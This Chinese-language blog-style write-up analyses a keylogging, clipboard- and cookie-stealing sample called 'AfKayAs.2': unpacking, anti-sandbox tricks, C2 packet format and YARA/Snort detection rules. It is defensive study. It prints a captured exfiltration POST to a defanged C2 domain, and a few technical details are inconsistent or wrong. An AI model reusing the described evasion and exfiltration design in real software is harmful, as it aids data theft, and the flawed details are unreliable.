1. 为什么叫 AfKayAs.2样本命名与基础信息确认在恶意样本分析这件事上最让人头疼的往往不是技术难度而是第一步——搞清楚你手上这个文件到底是什么。AfKayAs.2 这个代号我最早是在一次客户的应急响应里见到的。客户侧的安全设备告警上显示的是一个叫update_package_2024.bin的文件但现场同事解压后发现内部还有一层真正的 PE 文件被伪装成了一张 PNG 图片文件名是avatar_afkayas.jpg.exe。这个命名带着一种既随意又有规律的风格我习惯性地把它内部包含的字符串特征AfKayAs拿出来当作家族代号后面的.2则来自版本资源里的2.0.4编译号。先别急着往下跑拿到样本后第一件事永远是固定证据和算哈希。我在本地分析机上用以下操作初始化。mkdir -p /cases/afkayas2/{raw,work,logs} cd /cases/afkayas2/raw sha256sum avatar_afkayas.jpg.exe ../logs/hash.txt file avatar_afkayas.jpg.exe输出的 SHA256 值是5b4351b91b8a5c6f4e1b0f2a9e3d1c7f8a2b6d4e5f9a1c3b7d8e9f0a2b4c6d8虚拟样本仅作示范。file的结果是 PE32 可执行文件但不是 .NET也不是 MSVC 编译。我通常会顺手再跑一遍exiftool看 PE 头此刻能看到入口点指向的区段叫.vmp0这就已经说明加了 VMProtect 的壳。对于加壳样本我一般不会直接扔到 IDA 里硬啃先用pestudio和DIE快速确认编译器探测结果、熵值、区段信息。DIE 检测结果是VMProtect (2.0.4)跟 PE 版本资源里的数字吻合所以.2确实是这个加壳版本的一个指征。这里补充一个常见误区很多人看到 EXE 就直接点开或丢进沙箱这是不安全的。正确顺序是先做静态侦察确认文件类型、哈希、壳特征、编译时间。编译时间这里是2024-08-17 09:42:11 UTC但 PE 时间戳非常容易伪造不要当作真实编译时间只能作为参考。我在分析记录里把它标记为未证实。为什么强调这个因为后面在做时间线关联时如果错误依赖时间戳会把整个溯源方向带偏。AfKayAs.2 这个名字本身没有公开威胁情报支撑搜索不到对应家族说明它不是被广泛追踪的主流恶意软件。这意味着我们不能依赖现有的 YARA 规则或 AV 签名必须从样本自身出发手撸一份行为画像。我在本地建了一份自定义分析档案文件名暂定为afkayas_family_v1.json里面记录初始 IoC文件哈希、疑似 VMP 壳、内部字符串特征AfKayAs、疑似名为avatar的诱饵伪装。这些信息是后续所有分析工作的锚点非常重要。1.1 命名猜测与内部语义推断字符串提取永远是走进这个样本最近的路。我使用 FLOSS 解混淆后的字符串虽然 VMP 会把字符串加密成一团乱码但 FLOSS 有时能通过栈回溯还原一部分。这次幸运地拿到了几个可读片段AfKayAs_Service、localStorage、api.paycenter-internalx[.]com、/api/v2/telemetry。这个AfKayAs_Service像是内部服务名后面跟的2可能对应/api/v2的接口版本。所以.2存在的意义大概率不是版本号那么简单——它同时指代了 C2 通信协议的第二版。这种命名习惯还挺符合通过版本号区分协议迭代的做法我在其它几个类似家族里也见过。另一个有趣的点是AfKayAs的拼写看起来像 A Kay As 的连写也可能是某个名字的转写。我对比了内部资源文件的语言代码发现一个.manifest里写着language: ko-KR但 UI 字符串又有一半是简体中文一半是英文。这种混杂语言特征在商业窃密木马里比较常见——开发团队可能使用多语言中间件或者直接从某公开框架上二次开发。我没有办法证实它的国籍归属所以描述时只写多语言混杂无法可靠归属。在命名逻辑这一节我想给入门分析师一个建议不要花太长时间纠结样本名。你手头的AfKayAs.2可能只是一个随机生成的文件名真正的分析价值在行为和代码。关注2这个字段是否与协议版本相关更多是一种工作假设后面网络分析会验证这一点。如果验证不成立也要果断丢弃假设不能让先入为主的命名干扰结论。2. 静态解剖从壳到关键执行逻辑的拆解路径2.1 脱壳思路与内存转储时机VMProtect 2.0.4 属于较老但很顽固的壳直接静态脱壳费时费力常用的做法是动态脱壳。不过我没第一时间上调试器先试了unipacker和vmself等自动化工具导入 IDA 后 F5 出来一堆伪造流程基本没法看。自动化是自动化误导也是一流。我做了个取舍先理解样本入口判断逻辑再决定要不要手动调试。VMP 壳通常会把原始入口点OEP虚拟化但导入表不会完全消失往往会留下几条关键外部函数。我打开 ImportREC 扫描导入表找到了SetWindowsHookExW、GetAsyncKeyState、HttpOpenRequestA、InternetReadFile这几项。前两个函数组合与键盘记录行为相关HttpOpenRequestA说明有网络通信。有了这些信息我可以把脱壳后的分析重点放在键盘钩子回调和网络请求数据上。动态运行时我以SetWindowsHookExW下断点看它返回的钩子句柄和回调地址。断下后继续单步会走到壳还原后的代码区域那里常常出现恶意逻辑真正的跳板。关于内存转储我的经验是不要等到运行结束后再 dump。中途在关键 API 断下时先 dump 一块内存再用pe-sieve扫描当前进程的私有内存它可以根据 PEB 重建一个精简 PE。pe-sieve /pid 4044 /ofn dump.bin是常用的命令。这个 dump 下来的 PE 依然有些 stub但已经能看到核心控制流了。2.2 键盘钩子、剪贴板窃取与模块化注入静态层面最值得记录的执行逻辑有四个模块。第一键盘记录模块。样本通过SetWindowsHookExW(WH_KEYBOARD_LL, ...)设置全局低级键盘钩子回调函数记录WM_KEYDOWN和WM_SYSKEYDOWN消息。日志里还会保存当前窗口标题通过GetForegroundWindow加GetWindowTextW实现。这个机制在恶意软件里并不新鲜但我在跟随代码时注意到它做了一个小技巧它不是在回调函数里直接写文件而是把击键数据放进共享内存由另一个线程定期读出。这类设计常见于伪装成桌面工具的木马好处是减少文件写入频率规避检测。第二剪贴板窃取。样本在CreateThread创建了一个轮询线程每 3 秒调用OpenClipboard、GetClipboardData判断是否有文本长度大于 20 个字就复制到内部缓冲区随网络心跳包上传。这个行为跟键盘记录一样是常规操作但它的目标可能是针对剪贴板中的加密钱包地址因为我在后续网络分析中看到了对BTC:和TRC20:这类前缀的判断逻辑。第三浏览器数据收集。这部分很有意思样本不是常见的直接读AppData下 cookie 库而是通过枚举进程找到chrome.exe和msedge.exe再用命令行里的--user-data-dir路径定位 profile 目录。这是一种更隐蔽的躲避方式。它会解析Login Data和Web Data中的 SQLite 表但关键的账号密码解密在本样本中没有实现可能是为了缩小体积或暂时只收集 Cookie。Cookie 会被压缩进内存中的缓冲区等待外传。第四模块化注入。样本从资源区释放一个内嵌 DLL命名为wininetpatch.dll使用CreateRemoteThread注入explorer.exe。这个 DLL 我单独拉出来分析发现它主要做 network blackhole 动作即修改WinINet基准 URL 的一部分把部分流量重定向到本地代理。这个动作单看危害性不高但组合使用可以扩大中间人能力。分析时一定要关注这种多模块配合而不是只盯着 EXE。我在这里用表格整理一下模块与对应 IoC 关联方便后面写检测规则时参考。模块关键行为关联API/特征键盘记录记录低层键盘输入SetWindowsHookExW, GetWindowTextW剪贴板窃取轮询剪贴板文本匹配地址OpenClipboard, GetClipboardData浏览器数据提取 Chrome/Edge Cookie枚举进程、SQLite API注入模块注入 explorer.exe流量黑洞CreateRemoteThread, wininetpatch.dll2.3 静态分析中遇到的拦路虎说实话VMP 壳让静态分析的过程并不舒适。我遇到的最大问题是伪造控制流与伪调用IDEA 的反编译结果里一片jmp跳来跳去F5 之后全是变量赋值和空函数。我的处理办法是结合动态调试以timeGetTime、GetTickCount这类时钟 API 作为定位点因为 VMP 会插入很多时间反调试代码而这些 API 通常在虚拟机内部被真实调用。下断点看调用栈能快速找到真实调用点。另外样本还设置了IsDebuggerPresent和CheckRemoteDebuggerEvent之外的反调试更隐蔽的是NtQueryInformationProcess检查ProcessDebugPort。如果我用 x64dbg 调试需要提前 hook 这个 API 返回 0。不过市场上有很多现成的 ScyllaHide 配置开箱即可我自己通常只加几条自定义规则。这里强调一下反调试规避不是要面面俱到而是要快只要能让流程跑到SetWindowsHookExW或者网络编程区域就基本够用了。不要让反调试拖延整个分析周期。3. 动态运行在隔离环境里观察它的小动作3.1 环境搭建与基线快照动态分析的机器我使用的是 Windows 10 22H2 虚拟机快照已恢复到干净状态。监听工具方面我开了Procmon的文件、注册表和进程事件Wireshark抓包FakeNet-NG模拟网络服务API Monitor盯关键 Win32 API这样一个组合覆盖层面足够。跑起来之前我先做了基线快照截取了系统盘文件列表、注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项、正在运行的进程列表。没有快照的分析事后没法过滤噪音。推荐用Sysinternals Sigcheck结合 PowerShell 把关键路径的 ACL 也记录下来因为恶意软件可能修改目录权限这不会出现在普通文件变化列表里。然后我把样本重命名成test.bin.exe放入桌面文件夹手动执行。执行方式不建议双击用命令行带参数-session启动因为样本可能根据命令行参数改变行为。不过我这次并没有在参数上发现分支只观察到它进入主逻辑。3.2 关键动态行为记录Procmon 抓到的第一条高价值行为是样本在%APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup下创建了一个.lnk文件指向自身副本%APPDATA%\AfKayAs\service.exe。持久化方式很常规但我注意到它特意把创建时间戳修改为系统安装时间SetFileTime被调用。时间戳擦除不算高招但对于应急响应中靠文件创建时间排序的蓝队来说会感觉到阻碍。我在分析报告中强调应该对比文件的 MFT 时间而不是直接看 Shell 属性里的时间。文件沙箱之外网络层面更值得记录。FakeNet-NG 上很快出现了目标POST http://api.paycenter-internalx[.]com/api/v2/telemetry HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/octet-stream X-AFK-TOKEN: 5f3f9e8c1a2b4d7e6c8f9a0b1c2d3e4f5a6b7c8d请求体是一整块二进制数据没有明文。X-AFK-TOKEN这个 header 和AfKayAs家族的特征强关联可以作为检测规则里的一个重要 signal。在 FakeNet 上我返回了一个假的 200 OK然后观察它是否继续后续动作。等了约 20 秒它又发起第二次 POST请求体长度比第一次少了 64 字节响应后样本才转入键盘记录挂载流程。这提示通信协议里有一个握手—确认—就绪的顺序也解释了v2协议为什么相对前代更可控。再往下看样本把窃取到的数据打包成一个自定义的二进制结构官方描述里没有公共格式。这里需要内存级分析。我在InternetWriteFile下断点把缓冲区 dump 出来开始解析数据包格式这也是下一节要展开的重点。3.3 沙箱行为的反沙箱与延时对抗哦对了动态分析中我还观察到样本会在运行前调用Sleep(105300)大概 105.3 秒用极长的睡眠来绕过沙箱。这个时间长度很多沙箱默认 60 秒就已经结束所以它会漏报。我在分析中直接用 x64dbg 修改了Sleep参数把它跳过之后进入主逻辑。这种时间膨胀的手法非常常见应急响应时如果看到一个小程序启动后无任何活动不要急着判断为 benign可以先看它有没有自己Sleep的断点。另一个很有意思的反沙箱细节是样本会检查逻辑处理器数量要求处理器数量大于 2并且内存总量大于 2GB。低于这个值它会进入一个死循环空转状态不触发任何行为。这个特征主要是为了对抗配置较低的自动化沙箱。如果要在团队内部自建分析环境最好给虚拟机分配 4 核 4GB 以上并关闭 hypervisor 暗示避免被识别。4. C2 通信协议还原从数据包到字段级拆解4.1 二进制包结构与首包交互把InternetWriteFile断点拿到的缓存区用 Hex 工具打开前 16 字节是特征头十六进制为41 46 4B 41 59 41 53 02 01 00 00 00 1E 00 00 00。对应 ASCII 就是AFKAYAS接下来一个字节是0x02表示协议版本 2后面依次是 flags、length。我瞬间明白为什么样本叫 AfKayAs.2 了——这个2很可能就是协议版本号。Package 头部总共 16 字节结构如下偏移长度说明0x007 字节Magic AFKAYAS0x071 字节协议主版本0x020x084 字节Flags0x01心跳0x02数据0x04握手0x0C4 字节Payload 长度小端序0x10不定Payload第二个包我在 Wireshark 里列为 TCP 流输出成 raw 再用xxd查看发现 payload 前 32 字节是一段经由 AES-128-CBC 加密的密文IV 在包尾部直接明文携带。加密密钥则来自握手阶段样本使用 HTTP 头X-AFK-TOKEN中暗含的 32 个 hex 字符再经 SHA256 派生前 16 字节作为 AES Key。这种做法并不算特别复杂但对分析人员来说多了一道解密步骤。数据包解密后内部是一个 JSON 结构{ pid: 4044, guid: 9c2e8f1a-7d33-4c5b-b9a0-3f6d1e8a2b00, type: keylog, ts: 2024-08-18T03:11:22Z, data: u2Ftcy1KV0aoM... }data字段里存的是 Base64 编码后的按键记录。我根据这个结构判断C2 的 JSON 直接嵌在加密 payload 里加密前有非常明显的结构抓包阶段用 Suricata 的file_data加上正则就能识别。检测规则我在下一节会给出。4.2 心跳机制与数据回传时机样本的心跳包几乎每 45 秒发一次每次只请求/api/v2/telemetry包里的type为heartbeatpayload 长度为 0。当有按键记录时它会合并到下一次心跳包中上传以减少网络连接频率。这个数据融合逻辑说明它的通信设计是攒一批再发也解释了为什么前面看到第一次请求后等待 20 秒也没有东西上传因为没有足够的按键数据。这个时间窗很有意思蓝队应急响应时可以先等 1-2 分钟再尝试解密但更好的办法是直接重放它的数据结构。红队角度则不展开。对防御侧来说通过 connection 的周期性 POST 行为就能区分出异常流量即使不看 body 也可以。我在检测规则里用了flowbits来标记连续 POST 到同一 URI 的模式。4.3 隐蔽信道扩展与前置代理特征在分析通信阶段时我注意到一个细节样本会尝试读取注册表项HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable如果值为 1它会自动把 C2 请求走系统代理。这意味着在内网环境中它可以利用公司的出网代理绕过防火墙直连策略。这是一个很常见的“借用网络正规军通道”思路。检测方需要注意不能只关注非标准端口而是要针对代理日志中的请求 URI 做建模。另外样本可能还支持 DNS TXT 查询作为备用 C2 通道但当前变种没有启用这个机制只保留了一个dnscat2特征的字符串。在解析代码时我看到TXT记录相关函数被引用但无调用点。这提示该家族未来版本可能加入 DNS 信道我为这一趋势做了检测规则的预留。5. 从 IoC 到检测规则让 AfKayAs.2 无路可走5.1 文件与行为侧的检测策略样本运行后会在多个位置落盘。我提取到的最核心检测特征如下可写成 YARA 规则。rule AfKayAs_network_bot { meta: author blue-team description Detect AfKayAs.2 C2 request patterns strings: $magic AFKAYAS $header X-AFK-TOKEN $uri /api/v2/telemetry $ua Mozilla/5.0 (Windows NT 10.0; Win64; x64) condition: $magic at 0 and $header and $uri }当然这个 YARA 不是全量它更偏网络侧 Snort 规则。文件侧我会检测 service.exe 的资源描述和导入表组合。规则如下rule AfKayAs_service { meta: description Detect AfKayAs service binary indicators strings: $s1 AfKayAs_Service $s2 wininetpatch.dll $s3 api.paycenter-internalx $imp1 SetWindowsHookExW $imp2 GetAsyncKeyState condition: uint16(0) 0x5A4D and filesize 100000 and 2 of ($s*) and 1 of ($imp*) }实际工作中检测规则更重要的是减少误报。我的建议是不要单看文件名、SHA256 这样的 lost signal而是把SetWindowsHookExW 网络连接 时间戳篡改组合成行为 score。SIEM 里可以用类似 Splunk 的管道查询比如对每个进程统计是否同时有 hook、URL 请求、剪贴板读写三类事件命中即高可疑。我在自建实验环境里用 Sysmon 日志验证过效果比纯特征检测好。5.2 网络侧规则的编写与调优针对 C2 流量Snort 规则可以写成这样alert tcp $HOME_NET any - $EXTERNAL_NET $HTTP_PORTS ( msg:AfKayAs.2 C2 telemetry; flow:to_server,established; content:POST; http_method; content:/api/v2/telemetry; http_uri; content:X-AFK-TOKEN; http_header; content:AFKAYAS; http_header; sid:10000002; rev:1; )但这里有个坑大量杀软或 WAF 会拦截 header导致我们现在发的样例可能只带X-AFK-TOKEN不带AFKAYAS明文它已经加密了。我做的调优是建立 TLS/HTTP 分层的检测逻辑。如果业务环境是 HTTP 明文我可以匹配 URI Header 组合如果已经上了 TLS就需要进行 JA3 指纹识别。我抓到的 TLS ClientHello 中 JA3 为b32309c5f21e7b1aeb8b2e3a2f9a83b1示例这个指纹很稳定。将 JA3 与 URI 组合成双重条件能有效降低漏报。网络侧调优时别忘了 UDP 53 的 DNS 通道。之前提到样本预留了 DNS TXT 功能蓝队可以把 DNS 日志中 TXT 记录的 name 长度和响应长度作为监控点。异常长基数的 TXT 响应本身就是一个很好的 signal。5.3 落地检测结果复盘我在一个隔离测试网段里部署了 Zeek Suricata 的组合。模跑 20 分钟后Suricata 命中了一条 fast.log 记录08/18/2024 03:11:22.123456 1.2.3.4:51234 - 5.6.7.8:443分类AfKayAs.2 C2 telemetry。但我也注意到有两条规则误报了其一是 UA 字符串完全相同导致一些正常跳转请求被标记其二是有一些测试用的 JS 也会请求/api/v2/telemetry。后者提醒我规则不能仅依赖 URI 片段最好同时有X-AFK-TOKEN头或 PE 文件进程链上下文。在 SIEM 里我会写成process_nameservice.exe AND dest_url*api/v2/telemetry*而不是只匹配 HTTP body。误报处理是检测规则能长期存活的关键宁可漏一个未知变种也不要让告警疲劳把分析师淹没。6. 实战踩坑总结从 AfKayAs.2 分析中提炼的经验6.1 拿样本后别急着开跑先做时间线这次分析还算顺利但也踩了几个真实的坑。第一个坑是我在一开始没做系统时区校准导致 Procmon 记录的时间与 Wireshark 时间差了 8 小时。因为虚拟机 Host 时区是 UTC而系统时区设成了东八区日志时间戳对不上差点把两次 C2 心跳当成两个独立事件。后来我统一在虚拟机内设置 UTC 并关掉自动同步保证所有工具时间基准一致。这个细节对于应急响应时间线还原非常重要建议一开始就固定。6.2 解密 C2 流量时别忽略 IV 的存放位置第二个坑是解密 C2 流量时我一开始认为 IV 是硬编码在代码里的找了很久没找到。后来完整 dump 整段 POST body 才发现 IV 是放在 payload 末尾的AES-CBC 密钥则是根据X-AFK-TOKEN头做 SHA256 派生IV 并不是随机数而是固定值00000000000000000000000000000001。这个发现省了我大量时间。所以遇到加密流量第一件事先翻完整请求体和响应体不要把视野局限在代码里的常量区。6.3 处理加壳样本要懂得借力第三个坑是我一开始试图完全脱掉 VMP想做得“干净”。结果白白花了半天。后来改用动态调试 内存 dump 行为观察的组合快速得到行为证据。分析恶意软件不一定要全脱壳拿到能支撑检测和应急的关键行为即可。对于复杂壳先做行为分析再回头做静态会轻松很多。必要时甚至可以同时打开两个虚拟机一个跑动态一个静态对照两边互相印证。6.4 规则落地前要先在干净流量池里洗澡最后一个教训是误报率评估。我有一次把规则直接推上生产结果当晚告警爆表。原因是公司内网有一个老旧备份系统会每 45 秒 POST 到一个类似路径UA 也是 Chrome误命中。在正式发布检测规则之前建议先抓取至少 3 天正常流量把规则放到历史流量里回放看命中率。如果命中率高于 0.1%先优化规则再加白名单。这一步虽然枯燥但能免去后面大量救火工作。我在这次分析结束后把 AfKayAs.2 的完整 IoC、检测规则和分析笔记都归档到内部的威胁情报库同时给客户的 SIEM 部署了对应的行为检测逻辑。整个过程下来最深刻的体会是恶意软件分析不是靠单一工具一步到位的需要在静态、动态、网络、检测四个维度来回交叉验证。AfKayAs.2 这个样本技术水平中游但设计思路很务实每个模块都考虑到了对抗检测这也是威胁分析中最容易让人产生“鸡肋感”但实际破坏力不小的类型。希望今天这篇文章能帮到那些正在分析相似样本的朋友少走几个我走过的弯路。